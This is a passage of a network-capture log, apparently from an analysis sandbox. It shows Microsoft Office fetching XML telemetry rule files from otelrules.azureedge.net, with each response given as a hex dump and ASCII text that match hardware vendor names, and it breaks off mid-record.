Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.11	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:30 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:30 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 1e88822f-901e-0029-0201-48274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054930Z-r1cf579d778xr2r4hC1EWRqvfs00000007f00000000059ep x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:30 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.11	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:30 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:30 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 549300b5-601e-000d-6903-482618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054930Z-r1cf579d778mvsklhC1EWRkavg00000007ng00000000775p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:30 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.11	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:30 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:30 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: a32a4087-901e-0083-2b4e-49bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054930Z-r1cf579d778t76vqhC1EWRdx4w00000001k00000000024ed x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:30 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.11	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:31 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:31 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:31 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: c11f8514-901e-0048-1305-48b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054931Z-r1cf579d778t5c2lhC1EWRce3w000000088g000000001ck7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:31 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.11	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:32 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:32 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: d196cbd9-901e-008f-5d03-4867a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054932Z-r1cf579d778w59f9hC1EWRze6w00000007q0000000005muf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:32 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.11	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:32 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:32 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 32c7b88d-b01e-003e-5b01-488e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054932Z-r1cf579d778d5zkmhC1EWRk6h800000007wg000000006pwb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:33 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.11	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:32 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:32 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 103826c3-a01e-0021-20c7-49814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054932Z-r1cf579d7788c742hC1EWRr97n00000001ng0000000052kd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:33 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.11	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:33 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:33 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 30883f21-801e-00a0-1802-482196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054933Z-r1cf579d778x776bhC1EWRdk8000000007g00000000048r7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:33 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.11	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:33 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:34 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 6d6f58af-101e-0028-33a4-498f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054934Z-r1cf579d7789jf56hC1EWRu58800000002k0000000005vq8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:34 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.11	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:34 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:34 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: c9f0d292-501e-0047-460d-49ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054934Z-r1cf579d778t76vqhC1EWRdx4w00000001hg000000001u18 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:35 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.11	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:34 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:35 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 072142d6-401e-0029-0802-489b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054935Z-r1cf579d7788pwqzhC1EWRrpd800000007u00000000029ma x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:35 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.11	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:35 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:35 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 7ea70f1c-301e-005d-1d26-49e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054935Z-r1cf579d7782w22mhC1EWR2ebg00000002c0000000005pkg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:35 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml 